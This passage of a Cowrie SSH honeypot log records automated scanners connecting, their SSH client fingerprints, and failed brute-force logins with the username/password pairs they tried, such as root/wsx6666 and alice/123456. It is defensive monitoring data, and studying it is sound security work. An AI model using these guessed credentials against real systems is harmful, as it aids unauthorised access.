512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:18.059075Z","src_ip":"213.209.159.158","session":"e0d582748480","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.44.192.210","src_port":44208,"dst_ip":"10.17.0.5","dst_port":22,"session":"466a3da10234","protocol":"ssh","message":"New connection: 78.44.192.210:44208 (10.17.0.5:22) [session: 466a3da10234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:23.073859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:23.081262Z","src_ip":"78.44.192.210","session":"466a3da10234","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:23.200323Z","src_ip":"78.44.192.210","session":"466a3da10234","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:23.669462Z","src_ip":"78.44.192.210","session":"466a3da10234","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wsx6666","message":"login attempt [root/wsx6666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:23.955397Z","src_ip":"213.209.159.158","session":"e0d582748480","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:24.780788Z","src_ip":"78.44.192.210","session":"466a3da10234","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:26.410875Z","src_ip":"213.209.159.158","session":"e0d582748480","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":34200,"dst_ip":"159.203.135.109","dst_port":22,"session":"174bd48f4317","protocol":"ssh","message":"New connection: 213.209.159.158:34200 (159.203.135.109:22) [session: 174bd48f4317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:26.495620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:27.674457Z","src_ip":"213.209.159.158","session":"174bd48f4317","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:27.679158Z","src_ip":"213.209.159.158","session":"174bd48f4317","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"webcamo","message":"login attempt [root/webcamo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:33.669207Z","src_ip":"213.209.159.158","session":"174bd48f4317","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:36.107874Z","src_ip":"213.209.159.158","session":"174bd48f4317","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":63812,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4e5359acf0c","protocol":"ssh","message":"New connection: 213.209.159.158:63812 (159.203.135.109:22) [session: a4e5359acf0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:36.186648Z"}
{"eventid":"cowrie.session.connect","src_ip":"112.104.154.26","src_port":39628,"dst_ip":"10.17.0.5","dst_port":22,"session":"77fffee40402","protocol":"ssh","message":"New connection: 112.104.154.26:39628 (10.17.0.5:22) [session: 77fffee40402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:36.654532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:36.662852Z","src_ip":"112.104.154.26","session":"77fffee40402","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:36.865112Z","src_ip":"112.104.154.26","session":"77fffee40402","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:37.692873Z","src_ip":"213.209.159.158","session":"a4e5359acf0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:37.699363Z","src_ip":"213.209.159.158","session":"a4e5359acf0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alice","password":"123456","message":"login attempt [alice/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:37.715267Z","src_ip":"112.104.154.26","session":"77fffee40402","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:38.925973Z","src_ip":"112.104.154.26","session":"77fffee40402","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Webhosting","message":"login attempt [root/Webhosting] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:43.283266Z","src_ip":"213.209.159.158","session":"a4e5359acf0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:45.605986Z","src_ip":"213.209.159.158","session":"a4e5359acf0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":21556,"dst_ip":"159.203.135.109","dst_port":22,"session":"96e14517d3e1","protocol":"ssh","message":"New connection: 213.209.159.158:21556 (159.203.135.109:22) [session: 96e14517d3e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:45.689462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:47.268956Z","src_ip":"213.209.159.158","session":"96e14517d3e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:47.272688Z","src_ip":"213.209.159.158","session":"96e14517d3e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.148.224.183","src_port":47606,"dst_ip":"159.203.135.109","dst_port":22,"session":"254040c3f703","protocol":"ssh","message":"New connection: 186.148.224.183:47606 (159.203.135.109:22) [session: 254040c3f703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:47.660278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:47.665591Z","src_ip":"186.148.224.183","session":"254040c3f703","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:47.815993Z","src_ip":"186.148.224.183","session":"254040c3f703","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"victor","password":"victor2026","message":"login attempt [victor/victor2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:48.446435Z","src_ip":"186.148.224.183","session":"254040c3f703","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:49.601993Z","src_ip":"186.148.224.183","session":"254040c3f703","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome2025","message":"login attempt [root/welcome2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:52.918596Z","src_ip":"213.209.159.158","session":"96e14517d3e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.9","message":"Connection lost after 9.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:55.637663Z","src_ip":"213.209.159.158","session":"96e14517d3e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":29310,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe46b8926326","protocol":"ssh","message":"New connection: 213.209.159.158:29310 (159.203.135.109:22) [session: fe46b8926326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:55.724339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:57.083231Z","src_ip":"213.209.159.158","session":"fe46b8926326","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:25:57.088453Z","src_ip":"213.209.159.158","session":"fe46b8926326","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"we1c0me","message":"login attempt [root/we1c0me] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:02.741118Z","src_ip":"213.209.159.158","session":"fe46b8926326","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.7","message":"Connection lost after 9.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:05.383069Z","src_ip":"213.209.159.158","session":"fe46b8926326","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":57294,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1d19748991d","protocol":"ssh","message":"New connection: 213.209.159.158:57294 (159.203.135.109:22) [session: b1d19748991d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:05.463726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:06.787593Z","src_ip":"213.209.159.158","session":"b1d19748991d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:06.795910Z","src_ip":"213.209.159.158","session":"b1d19748991d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.83.182.122","src_port":57294,"dst_ip":"10.17.0.5","dst_port":22,"session":"49267fe993ed","protocol":"ssh","message":"New connection: 40.83.182.122:57294 (10.17.0.5:22) [session: 49267fe993ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:07.960992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:07.965678Z","src_ip":"40.83.182.122","session":"49267fe993ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-gro